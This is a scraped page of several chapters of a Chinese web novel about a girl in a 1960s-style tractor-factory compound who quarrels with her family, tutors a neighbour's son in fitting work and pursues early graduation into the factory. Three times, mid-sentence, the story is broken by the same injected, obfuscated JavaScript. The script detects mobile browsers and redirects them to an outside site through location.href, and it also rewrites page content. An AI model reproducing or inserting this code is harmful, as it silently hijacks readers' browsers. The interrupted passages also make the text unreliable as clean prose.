他被师傅说笨,教不会,又被爸妈说,委屈都窝在心里头。 还惦记着林巧枝给他去作证,瞄着林巧枝的表情说:“那肯定是巧枝姐教的好,我一下就学会了!” 林巧枝心里有点模糊的预感。 她开口:“喝完就继续练习,别偷懒。” “马上。”周树赶紧仰头一口喝完,转头就继续练习了。 林家栋凑过来,笑得热情,伸手就去拿她摆在旁边的搪瓷杯:“姐你还喝不喝?我给你再倒一杯,这天越来越热了,可别中暑了。” 无事献殷勤,林巧枝把搪瓷杯摁住,眼睛直视他道:“有事直说。” “我这不是想让你也教教我。”林家栋搓搓手。 他说:“姐你练得这快,是不是有什么诀窍?你教教我,我肯定记着你的好,家里扫地、刷碗的活我都包了,保证不让你沾手。” 林巧枝不信。 小时候林家栋也不是没这样承诺过,为了骗她手上的玩具,但不到两天,他就会把活儿都赖掉,让妈妈接手。 江红梅接手了他不干的活,不骂他,却说她懒。 几天之后,就开始念唱作打地说自己命苦,只有她家女儿心是铁做的,一点也不像别人家的女孩晓得心疼妈妈。 小巧枝听了不高兴,去找弟弟,拉他去干活,他却当做没听见,甩开袖子跑去外面玩,还嚷嚷:“是妈愿意帮我做的!” “不教。” 林巧枝眼底有点难过,冷漠地说:“你也学不会。” “你都没教,怎么知道我学不会?”林家栋下意识驳了一句,又努力扬起笑容,“姐,你自己琢磨都能学这么快,把诀窍直接教我,肯定更快。” “你不考高中了?”林巧枝问,梦里他们可是一起上的高中。 只是她的好,林家栋的差些罢了。 “要是能进咱们厂,还上什么高中?上完高中又不分配工作,还要考大学,不如上专科技校,毕业就分配工作。我能考上的那几个专科技校,哪有我们厂好?”林家栋道。 是了,林家栋本来是考不上高中的,但因为一直跟她一起复习,正巧压中了几道题,这才吊车尾上了高中。 林巧枝眼睑微合:“我说你学不会,你就学不会。” 这么短的时间,学什么? “你,你……”林家栋深吸一口气,不能吵起来,忍了忍,他肚子里的话一转,指着周树,改口道,“你连外人都愿意教,不愿意教你亲弟弟?” “你跟他比?” 林巧枝差点都被逗笑了,“他有基础你有吗?他扎扎实实练过锤击你练过吗?他手心有一层茧,这几天不管怎么练手都不会磨破皮受伤,你行吗?” 她就算面对爸妈情绪再复杂,但绝对不欠林家栋一分。 她们本来就不是什么关系好的姐弟,又何必笑着伪装。 林家栋脸色难看,气得把铁皮水壶往地上一扔,跑走了。 旁边偷偷竖起耳朵,听林巧枝“夸”自己的周树:…… 周树窥了窥林巧枝的表情,心一颤。 好凶。 林家栋把人惹了,就这么跑了? “看什么看。”林巧枝撇他一眼,“练你的。” 周树赶紧收回目光,埋头练习。 差不多到饭点。 林巧枝又指点了周树一下,也不管他晚上还练不练,收拾书包回家。 她表情不是很好。 林家栋就那两招。 回到家,饭菜已经做好了。 她什么也没说,洗手摆了碗筷,坐下吃饭。 她不说,总有人要说。 果然,林父先给她夹菜,随即开口:“巧枝,今天教得怎么样?” “还行。” 林父笑了两声,“这孩子,就会谦虚。我听你弟说,你教得挺好,周树原来那师傅教不好的,到你手里,一下就学会了。” 她撇了一眼林家栋。 林家栋避开她的眼神,埋头吃菜。 胆小鬼。 小时候还敢跟她打架,越活越回去了,现在只知道躲在爸妈后头。 “他学不会的,时间太短了。”林巧枝直截了当地说。 林父道:“咱抓抓紧,你都能把周树那呆驴教好,你弟不比他聪明?咱也不求太好,能及格进厂校就行。” 江红梅搭腔道:“你这丫头,你不是都练会了吗,学会了你就直接把窍门教给你弟不就完了,你又不会掉一块肉,咋这么自私。” “都说了他学不会,不是窍门不窍门的问题,又不是做数学题,这是要大量练习的。”林巧枝嗤笑道,“而且我辛辛苦苦琢磨出来的,为什么要教他?不教就是自私?” 林巧枝心里一股烦躁往外涌。 林家栋见三两句就说出了火气,赶紧在桌下按住江红梅的手,又给着急地林父使眼色。 林父压着声调缓和道:“一家人要相互帮衬,你教你弟弟进了厂,日后厂里也有个照应,要不一个姑娘家的,遭人欺负。” “都说了他学不会!能不能听我说话。” 林巧枝啪的一下把筷子拍在桌上。 总是这样! 总是这样! 她说的话没有人理,讲得道理没有人听。 等她发了脾气,又反过来说她性子凶。 “又没说什么,你个姑娘家性子怎么这么凶,也不知道随了谁,还发起火来了。”江红梅把盘子捡开,怕被她拍桌子弄碎了。 林巧枝冷着脸,看着林父:“我教不好,也不会教他。爸你要是真信这玩意有窍门,真信林家栋聪明,几天就能学会,就拿周伯伯给的教车承诺去换,我不信这满江城钳工,没有一个不想让家里孩子学开车的。” “包票我打在这儿,周树肯定能过补考,就看你舍不舍得了。” 林巧枝转头对江红梅,堵住她要出口的话,先一步说:“对了,还有妈你。你不自私,你伟大,你可以把扫盲班的工作机会透露出去,肯定能找到钳工愿意教林家栋。” 说完,她狠狠踹了一脚实木打的餐桌。 整个桌面连带碗盘都狠狠震动一下,发出“砰”的一声巨响,还有碗盘磕碰的声音。 “我不发火,是忘了我的脾气了是吧?” 她指着林家栋,“我耳边再听到一次,我就揍他一次。” 她背起挎包就往外走。 出门的时候,回头道:“还有,我不知道你们想怎么把林家栋这个没报名的人塞进补考,别拿我去做人情,我什么都不会答应的。” 二楼走廊上。 探出了不少人头,还有好奇的邻居走近了听。 那一声“砰”的响声可吓人。 整栋楼都听见了。 林巧枝面不改色的穿过尴尬堆笑的邻居,往楼下走。 等她走后,才逐渐有了窸窸窣窣地议论声。 “果然是这野丫头,咱楼里一旦有大动静,十有八九是她。” “刚刚那声儿是什么?掀桌子了?” “谁知道,砸暖水壶?” “性子还是这么凶啊,这以后哪里有婆家敢要。” “那不一样了,她以后有工作了,指不定还是高工呢。” …… 窸窸窣窣的议论声里,还有人探头往里看,关切(好奇)地打听怎么样了。 林巧枝走了出来。 她在家属院西边角落的一棵梧桐树边,靠着粗壮的树干坐下。 她难过的揉了揉眼睛,又仰起头,努力眨眼,让细碎的水光干涸在眼眶里。 她看着天,看着梧桐树叶在夏风里摇动,看着家属院最中间那栋住着路工的红砖小楼。 *** 林家住的这栋小楼在议论闹剧。 家属院远些的另一栋小楼里,也提起了林巧枝的名字。 周家。 周树抿着嘴角,尽管他没说什么,但是脸上分明写满了“我才不笨”的情绪,腰杆都直溜地跟小树苗一样。 他面前是三根被锤断的钢棍。 周母乐得一拍周父胳膊:“你看我说得没错吧,咱小树不是偷懒耍滑的,就差聪明人点拨一下,咱这钱花得不冤枉。” 刚刚连说两遍“再锤一根我看看”的周父,面色也乐了。 是花得不冤。 虽然这看着也才擦边及格,还有点风险,但不是才开始嘛! 周大哥啃着黄瓜,“林巧枝还挺会教人,比你之前那个师傅好。” 周树顿时用力点头:“当然了,比郝师傅强一百倍!” 这一大一小两兄弟,脑袋顿时被狠狠敲了下。 周母严肃:“说什么呢,口无遮拦的,这多得罪人。”她教两个孩子为人处世的道理,“甭管师傅水平怎么样,出去都挑拣着人好的说,好就多夸点,差就少夸点,意思一下。” 周树揉了一下脑袋。 他见话题偏离了,试图扯回来。 他真的不笨! 半天,他憋出一句,“今天巧枝姐还夸我呢。” 周父周母眼前一亮。 难不成小树还真有潜藏的钳工天赋? 周父好奇问:“她怎么夸你?” 周树心喜,稍微加了一点小修饰地朝父母道:“巧枝姐说我有基础,锤击练得扎实,还努力,肯定能行。” 周母听了高兴。 心里记着林巧枝这份好。 *** 江红梅三言两语把看热闹的邻居们打发走,然后关上了门。 回头看了桌上被磕裂了一条裂缝的盘子,还有缺了一个小角的碗,心疼死了。 “死丫头心都是冷的,我怎么就生了个这么铁石心肠娃,生了她只知道气我,就是说她两句要她教教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119709|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟弟,又是踹桌摔盘,又是要打人的。” 林父叹了口气,“爸妈再给你想想法子。” 林家栋沉默一会儿,什么也没说,起身进了里头房间,砰的一声把门一关。 林父的身影好像佝偻了些。 他眉心挤出些纹路,对江红梅道:“让你平时对巧枝好些,不就是一两口肉,刷下碗,煮点饭这些小事吗?你看闹的。” 说完,他起身去门口坐着了。 江红梅嘴巴翕动,想说什么,还是没敢开口。 憋着情绪,看着一桌没收拾的碗碟饭菜,又看看屋里头和屋门口的父子俩,都没个搭把手的人,想到家里就这么几个碗碟,还裂了缝缺了角,邻里都看她笑话,难过得眼眶都发红。 她怎么就这么命苦。 当初生双胞胎,儿女双全,她在家属院多得意,腰杆都直了,谁不羡慕她有儿子撑腰,又有个女儿可以在家里帮忙做事,等以后老了,还能有女儿在身边照顾伺候。 结果呢? 现在街坊邻里都在看她笑话。 江红梅是真的难过。 她对巧枝难道还不好吗? 她农村谁家丫头不是从小带弟妹,洗碗做饭、割草喂猪的?谁家丫头不是认识几个字,上个扫盲班,不当睁眼瞎就回家干活了?家里弟弟妹妹,哪个不是她从小带大的? 就说家属院,那么多丫头放学回家帮着妈妈烧个火,搓点衣服,洗碗扫地擦桌子,不晓得多能干,多懂事。 到处看看,有几家像是她这样享福?有书念,回家家务活也和弟弟分着做,吃蛋有她一半,吃肉有她一份,衣服都是和男娃一样做新的。 她盼着这丫头念好书,后头找个好工作。 她对闺女这么好。 结果养出个心冷的白眼狼,一点不晓得心疼体贴妈,半点也指望不上。 她手背抹着眼泪收拾碗筷,把桌子擦了,想到还要下楼去水池洗碗,又是一阵难过得眼眶发红。 *** 林巧枝住在了宁珍珠家。 这里有她的一套旧衣服,还有一份洗漱用品。 她小时候争得最凶的时候,是孟主任偶尔收留她住几天。 后来,小珍珠过来牵她的袖子,亮着眼睛问她,“你要不要住我的城堡?” 她口中的城堡,是一张四面挂满了细密蚊帐的床,呈包围状。 说来不信,宁珍珠是整个红旗厂家属院里,唯一一个有属于自己房间的女孩子。 这年头,孩子多,房子少。 宁珍珠是老来女,差不多可以单住的年纪,上头的哥哥姐姐都出嫁了、结婚分房了,妈妈又疼她。 “妈,你怎么还没睡?”宁珍珠亲昵地用脑门拱一拱妈妈肩膀,试图撒娇抵充被逮住的心虚。 她喊着妈。 但若是不知情的人,看了怕是要诧异,那老人脸上不少皱纹,看着该是奶奶的年纪了。 但宁珍珠是不管的,她到哪里,不管在谁面前,都是亲昵地喊妈妈的。 “你呀,鞋也不好好穿。”宁妈念叨着,看闺女穿好拖鞋,才点点她的鼻子,“巧枝过来,你这么高兴啊?人家家里可闹呢。” 宁珍珠揉揉鼻子,嗔道:“妈~怎么是闹呢?那是争取咱们女生的半边天地呢,咱们厂家属院女孩过得可比别的厂好多了,这好勇敢的!!” “妈你不是也喜欢巧枝的吗。” “好好好,妈说错了。”宁妈笑呵呵哈的,却不由想起小巧枝冲到别人家,把挨打的好朋友拉出来,张开双手挡在前面的样子。 她家小丫头抱着她的膝头,眼睛发亮,一脸羡慕,“妈妈,我也想当她的好朋友。” 俗话说,三岁看老。 她老了,不知道还能护着她家珍珠多久,有这样的好朋友,她家珍珠以后也是有人护着了,她闭眼都安心些。 “妈当然也喜欢巧枝。”她才不会说破呢,让这傻丫头自个儿乐去吧。 “妈你真好!” 宁珍珠倒了水,又蹑手蹑脚地快乐回房间了。 她发现巧枝睡得好沉啊! 肯定是累坏了。 林巧枝在梦里正在蹭八级工的课!太难得了,听不太懂她也想听听,等梦里女孩随军去了,她就再没机会来这个机械厂了。 家属院说起来很大,却又很小,事情一下传遍了。 周母也听说了。 还附带小儿子周树“添油加醋”版偏心视角——巧枝姐那个弟弟简直无理取闹。 念着那份好。 她找了林巧枝探了探口风,又找了几个同样考核没过的厂子弟妈妈,稍微透露了一点她家周树的情况。 两边一牵线。 成了。 林巧枝是无所谓的,放一只羊也是放,放一群羊也是放。 这不好收钱,干脆就说成邻里间的帮忙,教教孩子,家里请师傅吃点东西,送点谢礼是应该的吧? 反正林巧枝是挺满意的。 她陆续收获了一小份麦乳精粉,各色糕点,一碗炸鸡架,小块卤五花肉,时不时一铝饭盒的食堂荤菜加餐…… 统统下肚。 她从没吃得这么好过! 江红梅哪里舍得这些好东西,全都进了宁家肚子里? 也顾不上别的,主动喊林巧枝回家了。 家里气氛诡异的平静。 这种僵硬的气氛,一直持续到了中考。 不等出成绩。 在学校组织对完答案的那天,林巧枝就拎起留下的一份油纸包好的枣泥酥,去上门拜访那日钳工考核坐中间的老师王柏强。 她不避人,光明正大地。 打听提前毕业进厂的具体要求。 8. 高标准严要求 她没有退路。 也不想给自己留退路。 而且,林巧枝考虑过了。 与其等到半年、一年后,再突然提出她要提前毕业入厂,石破天惊遭到反对和推诿。 不如早早就说。 让所有人都知道,她这样努力,是为了提前毕业进厂。 让所有人都看到,她不断进步的技术,而且是比别人快许多的进步,她就是有资格、有实力。 她要这个工作来得堂堂正正,无可指摘。 早点知道,该议论的议论过了,该惊讶的惊讶过了。 真等到那时候。 她提前毕业入厂这事,或许就变得“理所应当”了,而不是一石激起千层浪,不知哪一浪会猝不及防把人冲倒。 林巧枝是认真想的,也是这么说的。 “什么?”王柏强一脸不可思议,简直像是在脑门上写着“我耳朵出问题了”这几个大字。 林巧枝认真,再次道:“我说,我想找您了解一下,咱们厂技术学校提前毕业入厂的细则,具体有哪些要求?前些年留下的那一版还算数吗? ” 这是有先例的。 不过是早些年的事了,路工从北方带来了拖拉机技术,亲手打造了一套模具,带出了一批学徒,至此填补了南方农业无“铁牛”的空白。 那时疯狂到什么程度? 南方各地的村干部和大队公社,全都托关系、找熟人要买红旗铁牛55拖拉机,江城的招待所挤满了各地蜂拥而来的人。 国家的生产任务来得急、来得重,各地都在催。厂里急需要技术人才,厂长和路工亲自定下了这条规定,以激励学生加紧提升技术,早日投入生产。 只是近些年。 倒没有人再提前毕业了。 王柏强盯着眼前的女孩看了一会儿,好半晌,才缓缓地说,语气很是不解:“你怎么会突然想要提前毕业?” 发现林巧枝可能真这么想,他眉头就皱起来:“这可是打基础最重要的三年,学习机械原理,一点点打磨技术,学校里还有老师指点。进了厂工作,可就没有这么这么好的环境了。” 王柏强不是很认同,这行是糊弄不来的,你技术没学扎实,装配出来的东西就差,到农民兄弟手上就容易出问题,出故障! 既耽误农业生产,又败坏红旗厂的名誉。 林巧枝不憷他皱眉冷脸。王柏强脾气不好,对技术较真,最讨厌人糊弄对待工件。 这都是出了名的。 要不路工也不会点名让他来监督厂技术学校钳工这块的工作。 林巧枝理由也是现成的。 她神采奕奕道:“当然是为了早日投身于新中国伟大的工业复兴!”这是当年写在规定前的原话。 王柏强笑了一下。 林巧枝看他笑,也笑:“您可别笑我,王工您有听过咱们厂办的宣讲吗?” “我听那做什么?”王柏强可不想听别人讲他自己经历过的厂史,不过他的表情倒是缓和了一些。 “我对其中一段印象非常深刻。” 林巧枝回忆道: “厂办的高干事说,咱们新中国建国初期,重工业几乎为零。美国的保时捷已经在路上飞奔,同一时间,我们却连自己的一台拖拉机都造不出来。” 王柏强笑意敛了敛。 “现在短短十几年时间,我们不仅自主独立生产了好几种型号的拖拉机,还有第一台发动机,卡车,汽油机、坦克履带……一五计划时期提出的工业目标我们超额完成!” “为什么我们能行?” 林巧枝即使是在为自己挣活路,语气都不免透着自豪,“高干事说,因为我们工人前赴后继的投入工业建设,不断追求过硬的技术,因为工业是民族的脊梁,我们得挺起来,否则还要挨打。” 而中国人,谁也不想再挨打了。 王柏强赶紧抬手:“行了行了。”搓了搓胳膊,听得他鸡皮疙瘩都要冒出来了。 他跟这知识青年较什么劲儿? 还是才中考完的知识青年,这小词儿,一套一套的。 “前些年那一版肯定是不能用了。”王柏强先说结论。 厂里技术标准,这两年都提升了不少。 哪里还能用前头那些年定制的标准,“当年那是没办法,实在缺人。” 林巧枝并不灰心,她本就没想为了早早进厂,糊弄技术,基础没打好、甚至一塌糊涂只求表面光,那是自绝前路。 她追问:“那现在要求要达到什么标准?您尽管提,这学校基础打得好不好,技术打磨得如何,不都可以通过这些体现出来?” 她一脸“您操心的都不是问题”“尽管划下道来”的表情。 王柏强:“……” 这家属院传言还真没错,是个胆子大、性子强的野丫头。 “行,我给你说说。”王柏强想通了,与其费那口舌去劝正热血的知识青年,不如干脆摆点技术出来,晓得难了,自然就知难而退了。 林巧枝飞快的从包里拿出笔记本,把钢笔帽拔开,亮着眼睛看王柏强:“您说!” 王柏强斜睨着她那小本,“前头那版的要求肯定是要的吧?得在规定时间内,把一台指定型号的车床全部拆卸,然后组装好,要求功能正常,运行不能有异响。” 林巧枝:“ 什么型号呢?” “就学校里那台,咱厂也没那么富裕到闲置几个型号车床给你们学生练手。”王柏强端起茶杯喝了一口。 “再一个。” “咱们厂技术学校毕业后入厂定级就是二级工,提前毕业得优秀吧?模具制作达到厂三级技术的标准,保管谁都没话说,就那个55铁牛发动机侧盖板模具加工。” 他手伸了伸:“来,我给你画一个。” “哎!”林巧枝欣喜,赶紧把笔记本递过去,“麻烦王工您了。” 王柏强好笑,他这人性子直,直说:“傻乐啥,等你开始学了、动手做了,就知道要做这个模具合格品有多难。” “您尽管画,我不怕难。”林巧枝给他调整了一下本子,暗暗催促。 她不怕难,反而就喜欢这种明确的东西,有具体的细节更好。 是1就是1,是2就是2。 模棱两可才是最讨厌的! 王柏强都没去拿铅笔,直接用林巧枝的钢笔,熟练地在笔记本上画了个简略的机械模具图,“就这个模具。” 他指着图纸侧边的一处半圆形,“这种半圆形,厂里干了不少年的老师傅都觉得这活难干,你要是做这个,精度要求是7丝。” 林巧枝在梦里机械厂里混了那么久。 虽然像是老鼠进了粮仓迷宫,很多看不懂,但总归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119710|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混了个眼熟。 什么是模具呢? 简单来说,要批量生产“凸”形的零件,就要先做出“凹”形的模具。 模具就像是一个“印章”,可以帮助工人快速大量的生产出固定形状的零件。 照书上说的,模具是工业之母,任何产品的工业化生产,都离不开模具。 林巧枝探头去看,“7丝吗?听说咱们厂用的那套拖拉机模具,百分之八十都是路工带着徒弟亲手做出来的,误差比一丝还小呢。” 工业之母她还感触不到那么深。 但路工那套模具,绝对是红旗农械厂的命根子。 没震住人的王柏强:“……” 他把本子塞回来,用笔指了指林巧枝,没好气:“真是初生牛犊不怕虎。你知道一丝是多大吗?0.01毫米,相当于一根头发丝的六分之一。” “没有钳工天赋的人,或者基础稍微差一点,一锉下去,误差就不是以丝为单位了,一锉下去就塌一毫米。” 王柏强说着就心里嘀咕,等学校开了学,他倒要看看这丫头到底能做成啥样,能不能对得起今天说的这些豪言壮语。 林巧枝把笔记本转过来:“这不是想着以路工为榜样吗?肯定是向着他的标准努力,王工,还有吗?比如成绩这方面?比如学校要教的《机械原理》《机电一体化》《拖拉机设计手册》那些课程?” 王柏强摆摆手,随口道:“都优秀吧。” 林巧枝一副好学生的诚恳模样,刨根问底:“具体是多少分呢?” “……85分吧。”王柏强怀疑自己是不是年龄上来了,面相变和善了,他不是一向被学校里的学生叫什么“黑面阎王”,各个都怕遇到他拿着标尺在操作课转悠,躲着他走? “行!”居然还真能得到具体分数线,林巧枝可太高兴了。 这就没有任何主观变动的余地了。 王柏强看着林巧枝兴奋的表情,摸摸后脖颈,现在的小年轻都这样? 林巧枝把三点要求写好,“还有吗?这个您能做主吗?要不要给路工看看?” “你还想有啥?”王柏强睨她一眼,心想他当然能做主,正常学三年,到最后除了极个别的优秀学生能摸到这个水平,大部分还不如这呢。 但他是个尊师重道的板正性子,不会在学生面前驳了师父的地位,“你抄一份留着,这个拿给我,我去给路工看看。” “好嘞!”林巧枝当即答应,抄写了一遍。把王柏强画图的那张收入口袋,还保险的拍了拍口袋。 然后把自己抄写的那份递给王柏强。 王柏强:? “你这图,我可不好意思拿给路工看。” 林巧枝笑笑:“您就说是我画的,不跌您的面儿。” 王柏强亲手绘制的简单图纸,怎么说也是份证据不是? 她得留着! 当天中午,在食堂吃饭的时候,王柏强就顺手从胸前的口袋里掏出这张纸。 “师父,有个事儿要跟您说一下。” 很快。 林巧枝就得了信儿。 王柏强还真没骗人,他能做主,最后用红字张贴在学校外墙上的新规定,一个字都没改动! 这一届即将从厂技术学校毕业的学生,看到校门口的公告,头皮都要炸了。 这是怎么回事!!! 9. 录取 厂技术学校提前毕业的规定,厂子弟多少都知道一些。 他们在厂里出生,在厂里上托班,在厂里吃食堂、玩游戏、看电影、一点点长大,耳濡目染,基本人人都对红旗农械厂的历史如数家珍。 “但这都是多少年前的事了?” “怎么就忽然出新规定了!” 抱着篮球的男生痛苦的抓头发,这对本来要去球场打球的他,太刺激了。 校墙外这公告下,稀稀拉拉站了些闻讯而来的人。 “这咋了?”在厂外上学的男生问,他不太懂,“你又不提前毕业,担心个啥?我记得你不是还说,有一门操作课太难,要补考吗?” 他这一问,可把周围一群人都给点着了。 江城的夏天本来就又热又闷,惹人心燥。 “你不懂!这不是提不提前毕业的问题,我们毕业班的课和考核是被那黑脸阎王狠抓的,你看,这下面不还写着他的名儿?” “之前就被骂得够惨了,这下好,更看不上眼了!” “王工不会是希望我们都达到这个水平吧?” “啊——”男生抓着头发昂头悲呼,“还让不让人活了。” 学焊工等其它工种的同学,悄悄松了一口气。 这群钳工毕业班的学生,本以为是王柏强实在是忍不了他们这些“一届比一届差”“你们是我带过最差的一届”的学生,翻新规定拿来刺激他们。 但林巧枝并没有刻意瞒着。 不管是提着枣泥酥去王工家,还是让王柏强对外表示,那个照葫芦画瓢的模具图是她画的。 新开学就是钳工毕业班的学生们:“……” 这是小时候和小两岁妹妹打架的报应吗? 但是林巧枝她也没吃亏啊!! 满腔悲愤。 这是为什么啊? 她是疯了吗!!啊! 还有人想去找她“理论”,但很快被一群人拖走了。 疯了吧才去和林巧枝“理论”,先不说武力上能不能打赢,那不吃亏的野丫头转头就敢再去找王工,再上上强度。 即使她自己不好过,也不让他们活。 伤敌一千自损八百的事她林巧枝做得出来! 明明人不多,就一个钳工班,但神奇的是,他们在家属区制造出了哀鸿遍野的效果。 本来让人不太好接受的事情,戏剧性地传播起来。 听到的人哭笑不得,还有些,对着悲愤呜咽的表情,直接听得弯腰哈哈大笑,眼泪都飙出来。 当然,也有些人家暗暗猜测,她是想早点工作,搬出去住。不管咋样,有工作有钱,人就硬气。 林巧枝压根就不知道这些事。 她哪里知道王柏强就只是出个名字,能把毕业班的人吓成这样? 她在到处搜集旧课本。 她的时间也不多了,得抓紧才行! 都是厂子弟,课本找得还算顺利。 花了几天时间,林巧枝粗粗把这些书都过了一遍。 可惜的是,那个生产60吨矿用自卸车的机械厂,因为梦里女孩把厂播音员的工作处理掉,随军去了,她即使再进入那个梦,也只能在随军的那个山区家属院附近活动。 林巧枝这次谨慎了。 八级工也是很难得的! 不是每个梦都能遇到的。 她现在的水平,基础一点的机械厂,就足够让她练习打基础了。 她回忆自己做的那些梦。 克服自己不去想那句“哪有女孩不嫁人的?”话,面无表情地避开那些相亲的片段,选了个据说质量过硬,周围都求购的配件厂。 以她的经验,梦里女孩说质量过硬,那么配件厂里的假人技术肯定是扎实的。 这梦里假人都特别真实,比真人还真! 她一个个车间走过,比着课本内容,逐一对照。 钳工有很多分类,但按照她们红旗农械厂的实际生产要求,她们厂技术学校主攻的方向,是机修钳工、装配钳工,模具钳工。 如果以最简单粗暴的方法理解。 在她们厂就是,修拖拉机,安装拖拉机,制造拖拉机模具。 从修,到造。 这其中,要练习锉削、研磨、车、钳、铣、刨、镗、电焊等一系列技术。 把这些技术全部掌握,工作起来才会得心应手。 提前毕业要求的内容,也自然也能完成了。 林巧枝并没有直接瞄准入厂的三条件练,那样就把路走窄了。她想,只有基础扎实,才能干什么都很快上手,触类旁通。 心中搭好了框架。 林巧枝给自己安排了时间,白天晚上都投入其中,她给自己定下了要求,看书学理论要懂,上手练技术要精,不厌其烦的一遍遍打基础。 就好像她之前埋头练习锤击技术一样,一遍遍磨这些基本功。 沉浸练习仿佛感受不到时间流逝。 不知不觉,中考的成绩和录取结果陆续下来了。 家属院彻底热闹起来,以强有力的讨论度,把林巧枝想提前毕业进厂的消息挤到边边儿了。 中考! 录取!! 孩子们天大的事。 要是没考中,就只能以初中学历去找工作。 要是考上了中专,包分配,那是一辈子的铁饭碗啊! 要是考上了高中,以后再考个大学,那就能当孟主任一样的干部了! 对很多人来说,这绝对是人生最关键的分岔路口。 厂办公告栏前,每天一大清早就围满了人,密密麻麻都是。 “让让,让让,看完了就出来啊。”挤不进去的工人和家属在后面喊。 “娟儿,你帮我看看,有没有我们家建国!” 现如今。 中专学校在做完录取工作之后,不仅会给学生发录取通知书,还会在市级报刊上发布录取名单,昭告全体市民和学校周知,以免其他学校单位重复录取。[1] 报纸一般是更快的。 厂办每天都会买报纸,张贴在厂办公告栏里,以便大家关注。 林巧枝也在。 她倒是不用看,厂技术学校的录取通知是最早下来的。 但她想看珍珠、阿水、晚晚三个人的,她们每天都会早起,然后四人结伴而来。 林巧枝在挤挤攘攘的人群中,率先看到一个熟悉的名字,她喜不自禁:“阿水,我看到你了!!铁路技术学院!” 另一头,宁珍珠也跳起来朝这边挥手,笑得酒窝深陷:“晚晚!!你这边是机械电力学校,我也看到你了!” 人群中投来一片羡慕的目光。 即使心里觉得女孩子选这个不好,但完全不妨碍这两个都是好部门啊! 供电局和铁路局,多牛气的单位啊,毕业分配之后,一辈子就安稳了。 她们从人群中钻出来。 头发都乱了。 相互看着对方,不由哈哈哈的笑起来。 宁珍珠昨天晚上也收到了江城一高的录取通知书。 她们的中考,全都有了好结果。 宁珍珠笑得开怀道:“我们一起去买冰棍庆祝一下吧?” 林巧枝:“走!” 孙水柔喜溢眉梢:“我要买根牛奶味的尝尝。” 周妞晚催促:“赶紧走赶紧走,这天热的,挤出一身汗,热死了。” 她们挽着手,高兴地往厂办粮油店去,那里夏天都会摆泡沫箱和大冰坨子卖冰棍! “林巧枝。” 还没拐弯走出这条路,就听到有人叫。 她们停下来,林巧枝回头看,就见一个小碎花褂子和灰色老土布裤子女孩,她是笑着的,眼里还啜着泪光。 “这个送给你。”她往前走两步,把手里的东西一股脑塞到林巧枝怀里,语气哽咽又轻快地说,“我考上西湖卫生技术学校了,学医。” 说完,就飞快转身跑走了,只留下一句风中转身的模糊声音,“谢谢你。” 阿水撇撇嘴:“假死了,当初就是她临阵反悔,害我们被骂多管闲事,现在来假惺惺。” “好了,”林巧枝揽了揽她的肩膀,“阿曼也有她的不容易。” 她低头看手里的小袋子,被女孩细心的系了蝴蝶结,还别着四枝很好看的向日葵。 她把小袋子打开,里面有四朵漂亮的手工扎的头花,是盛放的向日葵,旁边还点缀着漂亮的金银花。 宁珍珠凑过来拿起一朵,比划了一下,感慨:“阿曼还是这么手巧。” 她笑着想给孙水柔头上戴一朵,孙水柔别扭的转头:“我才不带她做的花。” 她气得看林巧枝她们:“她当初做得那么过分,你们就不生气了?” 林巧枝给晚晚戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119711|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,笑道:“咱当时不是生过气了吗?一起骂她是叛徒,骂了好多,然后再也不和她一起玩了。” 她原来也特别生气,“阿曼心细又敏感,家里还有很小的弟弟妹妹,要是她撒手不管,她妈妈真的会累死的。” 走散的朋友多了才明白,不是每个女孩都运气那么好,能有勇气和条件来反抗。 她们四个,才是真的难能可贵。 “你看,当初你们不是一起约好考卫生学校,一起学医护的吗?现在你改了铁路,也算是违背了当初约定,扯平了!”林巧枝手拿着向日葵,在她眼前摇了摇。 什么就扯平了啊? “你到底向着哪边!!”阿水恼羞成怒,一把夺过花,揣兜里,然后张牙舞爪的扑过来。 笑成一团,她们还是继续去买冰棍。 不知道是不是巧合,还是提前有商量好的。 在收到了那四朵精心手工扎花后,这一路上,她们陆续又收到好几份礼物。 有自己送来,然后转身跑掉的。 有自己不过来,只喊家里小妹妹哒哒哒地摇晃跑过来,双手抱住她们的腿,昂着头举手说:“呐!”只在远远站着朝她们抿着嘴笑。 有给四个人的。 也有只给林巧枝一个人的。 从发绳头花,到自己打的毛线手套,再到老家老法子自制的花香猪油唇膏,里面染了花瓣的颜色,涂起来又滋润又有气色…… 都来自曾经走散的朋友。 那些儿时一起闹哄哄喊着“他不干,我也不干”的小女孩情谊。 买完冰棍。 她们一边吃,一边走到宁珍珠家。 珍珠家就她和妈妈住,活少,四个女孩分工三下两下就帮忙干完了。 